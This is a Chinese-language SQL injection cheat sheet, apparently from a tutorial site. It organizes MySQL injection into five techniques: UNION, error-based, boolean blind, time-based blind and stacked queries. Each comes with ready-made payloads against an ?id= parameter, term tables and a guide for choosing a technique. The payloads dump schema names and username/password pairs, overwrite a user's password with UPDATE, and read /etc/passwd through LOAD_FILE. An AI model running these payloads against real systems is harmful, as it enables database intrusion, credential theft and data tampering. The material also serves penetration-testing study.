技
招式库 · 五大注入分类
按“反馈”选招式,一层比一层难。
招式库 › UNION
UNION 联合注入 回显型·最省事
页面能回显时,一步到位看数据本体
适用:页面会把查询结果的字段打印出来。三步:数列数 → 测回显位 → 套取数。
① 数列数(ORDER BY)
?id=350 ORDER BY 1-- - # 1→2→3…往上加
?id=350 ORDER BY 5-- - # “Unknown column '5'” → 原查询只有 4 列
② 测回显位
?id=350 UNION SELECT 1,2,3,4-- - # 页面出现“2、3”等 → 那两个位能回显
③ 套取数语句
?id=350 UNION SELECT 1,database(),user(),4-- -
?id=350 UNION SELECT 1,group_concat(table_name),3,4
FROM information_schema.tables WHERE table_schema=database()-- -
📝 逐段拆解 · 拿到后往哪深挖
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
UNION | 合并两个查询结果 | 回显注入核心,需列数一致 |
ORDER BY | 按第 N 列排序 | 试列数:报 Unknown column 即越界 |
database() | 当前所在的库名 | 拿库名 → 进 information_schema 爆表 → 爆列 → 爆值 |
user() | 当前连接数据库的用户名 | 判权限高低 → 能不能读/写文件、能不能 UDF 提权 |
version() | 数据库版本号 | 定版本 → 决定 information_schema 有无、报错函数/UDF 是否可行 |
group_concat() | 把多行结果拼成一串 | 一次性带出整列/整表,避免逐行猜 |
information_schema.tables/.columns | MySQL 元数据表 | ≥5.0 才有;爆库/表/列名用 |
-- 空格 / # | MySQL 行末注释 | 把后面 AND/ORDER BY 通通吃掉 |
SELECT 1,2,3,4 | 占位列,撑满与原查询一致的列数 | 哪几个数字“显示出来”,就把它替换成真查询 |
WHERE table_schema=database() | 只取当前库的表 | 避免拿到 MySQL 系统库的一堆垃圾表 |
招式库 › 报错
报错注入 · 函数全家 只读取数·快
让数据库把答案印在报错里
适用:页面显示数据库错误。XPath 类(updatexml/extractvalue)单次约 32 字符,长数据用 mid() 分段。
四件套
# ① UPDATEXML
AND UPDATEXML(1,CONCAT(0x7e,(SELECT @@version),0x7e),1)-- -
# 输出: XPATH syntax error: ~8.0.33~
# ② EXTRACTVALUE
AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT database()),0x7e))-- -
# ③ floor 聚合
AND (SELECT 1 FROM (SELECT count(*),concat(version(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
# ④ EXP 溢出
AND EXP(~(SELECT * FROM (SELECT version())x))-- -
爆表→爆列→爆值(改子查询即可)
# 爆表名
(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database())
# 爆列名(换真实表名)
(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users')
# 爆数据
(SELECT group_concat(username,0x7c,password) FROM users)
# 超32字符分段:mid(查询,1,31) → mid(查询,32,31)…
📝 逐段拆解 · 拿到后往哪深挖
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
UPDATEXML()/EXTRACTVALUE() | MySQL 报错函数 | 单次约 32 字符,超长用 mid() 分段 |
0x7e | 字符 ~ 的十六进制 | 包住值,让回显一眼看清边界 |
database() | 当前所在的库名 | 拿库名 → 进 information_schema 爆表 → 爆列 → 爆值 |
@@version | MySQL 全局变量:版本号 | 同 version(),间接看是否带平台信息 |
version() | 数据库版本号 | 定版本 → 决定 information_schema 有无、报错函数/UDF 是否可行 |
group_concat() | 把多行结果拼成一串 | 一次性带出整列/整表,避免逐行猜 |
concat() | 把多个字段拼成一个字符串 | 把散字段拼进回显位 / 作为报错载体 |
mid()/substr() | 截取字符串的某一段 | 报错/盲注入里分段搬长数据(每次 n,1) |
floor(rand(0)*2) | 报错注入触发器 | 令聚合出错把子查询结果带进报错 |
0x7c | 竖线 | 的十六进制 | 分隔 username 与 password,拼成一串一块读出 |
EXP(~(...)) | 整数溢出触发报错 | 把 ~ 取反得到一个超限数字,让 MySQL 报溢出错误 |
招式库 › 布尔
布尔盲注 只读取数·慢
没回显、能分真假时,逐位把数据抠出来
原理:把一个数据拆成一个比特一个比特问数据库真/假。
常用三函数:ascii() / substr() / length()。
先拿长度,再逐位取字
?id=350 AND length(database())=8-- - # 真=库名长度8
?id=350 AND ascii(substr(database(),1,1))=115-- - # 第1个字符 ascii 115 = 's'
+ 做法:一把尺子量长度 → 一个个字符猜 → 拼成完整值
只用二分(
AND 系列的通用写法)?id=350 AND ascii(substr(database(),1,1))>110-- - # >110 ? 真/假,缩小到 2 分范围
... 每次把区间对半切,一个字符约 7 次请求
📝 逐段拆解 · 拿到后往哪深挖
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
mid()/substr() | 截取字符串的某一段 | 报错/盲注入里分段搬长数据(每次 n,1) |
database() | 当前所在的库名 | 拿库名 → 进 information_schema 爆表 → 爆列 → 爆值 |
version() | 数据库版本号 | 定版本 → 决定 information_schema 有无、报错函数/UDF 是否可行 |
length(database())=8 | 拿长度当第一位信息 | 先知道目标有多长,才好逐位搬 |
ascii(substr(database(),1,1))=115 | 把第1位字符转成 ASCII 码 115 | 115 即 s;对半猜可减到约 7 次/字符 |
真/假作为 0/1 | 用页面两态编码答案 | 手打太慢→见 sqlmap/脚本 |
二分 > 与 = | 先 > 范围、后 = 精确 | 大量数据时先二分区间再定值,减少请求 |
招式库 › 时间
时间盲注 只读取数·最慢
连真假都分不出来时,用秒数传信号
适用:任何反馈都看不到变化,但查询真的在跑。用 SLEEP() 当“1 比特”信道。
核心句式:IF(成立, 睡, 不睡)
?id=350 AND IF(ascii(substr(database(),1,1))=115,SLEEP(3),0)-- - # 是 's' → 卡3秒
?id=350 AND IF(1=1,SLEEP(3),0)-- - # 无条件睡 → 先确认信道可用
注意:时间盲注慢且容易超时被断。先拿一个
IF(1=1,SLEEP(3),0) 确认信道,再上 python/sqlmap 打,不要纯手点。📝 逐段拆解 · 拿到后往哪深挖
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
SLEEP(3) | 让查询卡住 N 秒 | 时间盲注的信号:真→卡、假→秒回 |
IF(cond,a,b) | 条件表达式,真返 a 假返 b | 把"是不是"编码成能区分的差异 |
database() | 当前所在的库名 | 拿库名 → 进 information_schema 爆表 → 爆列 → 爆值 |
mid()/substr() | 截取字符串的某一段 | 报错/盲注入里分段搬长数据(每次 n,1) |
SLEEP(3) 卡3秒 | 把判断结果编码为时间 | 真→睡、假→秒回;丢包/缓存会误判 |
先验证信道 | IF(1=1,SLEEP(3),0) | 确保 SLEEP 没被 WAF 拦,否则白测 |
招式库 › 堆叠
堆叠注入 扩展·高风险
分号后另起炉灶,干查询之外的事
用 ; 把一条 SQL 变成多条。前提:驱动允许同时执行多条,且没被防。
威力在写文件/改数据/删库/建账号,不只是读。
基本形态与进阶
?id=350; SELECT 1,2,3-- - # 第二条独立执行
?id=350; UPDATE users SET password='x' WHERE id=1-- - # 直接改数据
?id=350; SELECT LOAD_FILE('/etc/passwd')-- - # 读文件
注意:很多驱动/PDO 默认禁用多条语句。测到报错就换报错/盲注路线,别硬刚。
📝 逐段拆解 · 拿到后往哪深挖
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
; | - | - |
-- 空格 / # | MySQL 行末注释 | 把后面 AND/ORDER BY 通通吃掉 |
LOAD_FILE() | - | - |
; 分号 | SQL 语句结束符 | 结束前一条,另起一条 SELECT/UPDATE/INSERT |
多重语句 | 一次请求干多件事 | 某驱动不支持时就退回报错/盲注,别死磕 |
招式库 › 速选
类型速选表 决策
十秒定位该打哪套
把探测页的五连问反馈,直接映射到招式:
| 你的反馈 | 招式 | 快慢/复杂度 |
|---|---|---|
| 页面能直接回显字段 | UNION 联合注入 | 最快 |
| 报错显示 SQL 错误 | 报错注入 | 快,单次 32 字符 |
| 真假两态分明 | 布尔盲注 | 中,逐位 |
| 内容恒定只分快慢 | 时间盲注 | 慢,先验信道 |
| 分号后能跑第二条 | 堆叠注入 | 扩展强,风险高 |
经验
先走UNION → 报错 → 布尔 → 时间的降级路线,回不到高阶再递减。分支永远先回 五连问决策。